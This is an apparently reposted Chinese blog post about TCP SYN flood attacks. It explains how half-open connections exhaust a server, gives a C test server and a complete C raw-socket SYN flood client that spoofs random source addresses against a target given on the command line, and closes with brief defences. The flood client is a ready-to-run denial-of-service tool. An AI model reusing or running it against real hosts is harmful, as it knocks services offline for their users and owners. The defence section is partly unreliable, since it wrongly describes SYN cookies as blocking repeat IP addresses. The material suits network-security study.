syn攻击
来源:互联网 发布:淘宝香港地址怎么填写 编辑:程序博客网 时间:2024/05/16 07:24
1、syn攻击原理
在TCP连接的三次握手中第二次握手时,服务器端发送SYN+ACK报文之后,若在规定的超时间之内未收到客户端响应的ACK报文,则服务器端启用重传机制,向客户端重传SYN+ACK报文,直到收到客户端的响应报文或达到服务器端设置的重传次数为止。syn攻击就是利用这种机制,恶意攻击者向被攻击的服务器端在短时间内发送大量仅含有SYN标志的TCP半连接请求报文。一方面,大量的请求报文会使服务器端半连接队列迅速溢出,无法响应或延迟响应正常合法的连接请求,并耗费大量系统资源(如带宽、CPU 及主存储器等);另一方面,因发送的数据包仅含有SYN标记,服务器端永远收不到客户端的响应报文,这将导致服务器端将不断重传SYN+ACK 报文,将耗费大量系统资源及占用大量的网络带宽。
2、syn攻击实现
服务端监听代码:
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> int main(int argc, char *argv[]) { unsigned short nPort = 12345;int nSockfd = -1; int nRet = 0;do{nSockfd = socket(AF_INET, SOCK_STREAM, 0); if(nSockfd < 0) { perror("socket"); break; } struct sockaddr_in my_addr; bzero(&my_addr, sizeof(my_addr)); my_addr.sin_family = AF_INET; my_addr.sin_port = htons(nPort); my_addr.sin_addr.s_addr = htonl(INADDR_ANY); nRet = bind(nSockfd, (struct sockaddr*)&my_addr, sizeof(my_addr)); if( nRet != 0) { perror("bind"); break; } nRet = listen(nSockfd, 5);if(nRet != 0) { perror("listen"); break; } printf("start accept on nPort[%d]...\n",nPort); while(1) { struct sockaddr_in client_addr; char szClientIp[INET_ADDRSTRLEN] = {0};socklen_t cliaddr_len = sizeof(client_addr); int connfd; connfd = accept(nSockfd, (struct sockaddr*)&client_addr, &cliaddr_len); if(connfd < 0) { perror("accept");continue; } inet_ntop(AF_INET, &client_addr.sin_addr, szClientIp, INET_ADDRSTRLEN); printf("client ip=%s,port=%d\n", szClientIp,ntohs(client_addr.sin_port)); char recv_buf[512] = {0}; while( recv(connfd, recv_buf, sizeof(recv_buf), 0) > 0 ) { printf("recv data:%s\n",recv_buf); break; } close(connfd); } }while(0);if(-1 != nSockfd){ close(nSockfd);nSockfd = -1;} return 0; }
客户端攻击代码
#include<stdio.h>#include<sys/socket.h>#include<netinet/in.h>#include<netdb.h>#include<errno.h> #include <netinet/ip.h>#include <netinet/tcp.h>unsigned short checksum(unsigned short* data,unsigned short nLength){int nLeft = nLength;int nSum= 0;unsigned short* w= data;unsigned short nValue= 0;unsigned char answer = 0;while(nLeft > 1){nSum += *w++;nLeft -= 2;} if(nLeft == 1){answer = *(unsigned char*)w;nSum += answer;}nSum = (nSum>>16) + (nSum & 0xffff);nSum += (nSum>>16);nValue = ~nSum;return (nValue);}void send_synflood(int nSockfd,struct sockaddr_in* addr,int nNum){unsigned char buffer[sizeof(struct ip) + sizeof(struct tcphdr)] = {0}; struct ip *ip = NULL; struct tcphdr *tcp = NULL;int i = 0;int nRet = 0;char szClientIp[INET_ADDRSTRLEN] = {0}; int len = sizeof(buffer); memset( buffer, 0x0, sizeof(buffer)); ip = (struct ip *)buffer; tcp = (struct tcphdr *)(buffer + sizeof(struct ip)); tcp->dest = addr->sin_port; tcp->seq = (int)random(); tcp->ack_seq = 0; tcp->doff = 5; tcp->syn = 1; ip->ip_v = IPVERSION; ip->ip_hl = sizeof(struct ip)>>2; ip->ip_tos = 0; ip->ip_len = htons(len); ip->ip_id = (unsigned short)random(); ip->ip_off = 0; ip->ip_p = IPPROTO_TCP; ip->ip_dst = addr->sin_addr; while(++i <= nNum) { ip->ip_ttl = 0; ip->ip_sum = htons(sizeof(struct tcphdr)); ip->ip_src.s_addr = random(); tcp->check = 0;tcp->source = htons((unsigned short)random()); tcp->check = checksum((u_int16_t *)buffer + 4, sizeof(buffer) - 8); ip->ip_ttl = MAXTTL; nRet = sendto(nSockfd, buffer, len, 0, (struct sockaddr *)(addr), sizeof(struct sockaddr_in));if(nRet != len){printf("sendto[%s]:[%d] error[%d]",inet_ntoa(addr->sin_addr),ntohs(addr->sin_port),errno);}else{memset(szClientIp,0,sizeof(szClientIp));inet_ntop(AF_INET, &(addr->sin_addr),szClientIp, INET_ADDRSTRLEN); printf("sendto[%s]:[%d] successful.\n",szClientIp,ntohs(addr->sin_port));} }}int main(int argc,char *argv[]){int nOn = 1;int nSockfd = -1;struct sockaddr_in addr = {0};char szClientIp[INET_ADDRSTRLEN] = {0};do{if(argc != 4){printf("argc error.\n");break;}bzero(&addr,sizeof(addr));addr.sin_family=AF_INET;addr.sin_port=htons(atoi(argv[2]));inet_pton(AF_INET, argv[1], &addr.sin_addr);nSockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);if(nSockfd<0){printf("socket error %d.\n",errno);break;}setuid(getpid());setsockopt(nSockfd,IPPROTO_IP,IP_HDRINCL,&nOn,sizeof(nOn));send_synflood(nSockfd,&addr,atoi(argv[3]));}while(0);if(-1 != nSockfd){close(nSockfd);nSockfd = -1;}return 0;}
攻击之后,服务端的网络链接出现了多个syn_recv状态的链接,如下图:
抓包截图如下:
在查看服务器TCP连接中,可以通过下面这个命令来统计当前连接数:
3、sys攻击防御
(1)缩短SYN Timeout时间
由于SYN Flood攻击的效果取决于服务器上保持的SYN半连接数,如果我们将服务器半连接数降低到合理的一个值,就可以成倍地降低服务器的负荷。半连接数的计算公式如下:SYN半连接数 = SYN攻击的频度 × SYN Timeout 由于SYN攻击的频度这个量并非我们能够控制的,所以我们可以通过减小SYN Timeout来降低半连接数。当SYN Timeout时间被减短,系统的SYN-ACK重试次数将大大减少,系统也会自动对缓冲区中的报文进行延时,避免对TCP/IP堆栈造成过大的冲击,力图将攻击危害减到最低。但是,我们还需要注意不要将SYN Timeout的值设置得过低,因为会影响到客户端正常访问,同时这种方法也只能降低syn攻击的影响,如果攻击者持续不断的发送syn,那么即使缩短syn timeout时间,服务器仍然会疲于接收syn攻击而没法正常提供服务。
(2)设置SYN Cookie
给每一个请求分配一个cookie,如果短时间内连续收到某个IP的重复SYN报文,就认定是受到了攻击,以后从这个IP地址发来的包一概丢弃,但是这依赖对方使用固定真是的IP地址,如果对方更改源地址则此方法没有效果。
其实对于syn flood攻击目前尚没有很好的检测和防御的方法,只能使用上诉方法或者防火墙设置降低其影响。
- SYN及SYN攻击
- SYN攻击
- SYN攻击
- SYN攻击
- SYN攻击
- SYN攻击
- SYN攻击
- SYN攻击
- syn攻击
- Syn反射洪水攻击
- SYN Flood 攻击
- SYN攻击原理
- SYN Flood攻击尝试
- SYN攻击源程序
- SYN 洪水攻击
- SYN攻击实现
- 防止SYN洪水攻击
- DDOS SYN攻击
- Kotlin快速上手
- Shell输入输出重定向
- MYSQL操作之DDL
- 正向圈圈
- android ndk开发1
- syn攻击
- HttpConnection的post请求发送数据,接收方出现乱码
- 【版本更新】Word组件Spire.Doc for .NET V6.0.21发布 | 附下载
- 数据库的基本操作
- zookeeper leader选举过程
- 10.9 NOIP[真] 背包 + 状压 + 单调栈 + 最短路
- ubuntu下安装redis
- Windows环境下使用Mongo
- 网狐荣耀版手机端与pc端热更新的配置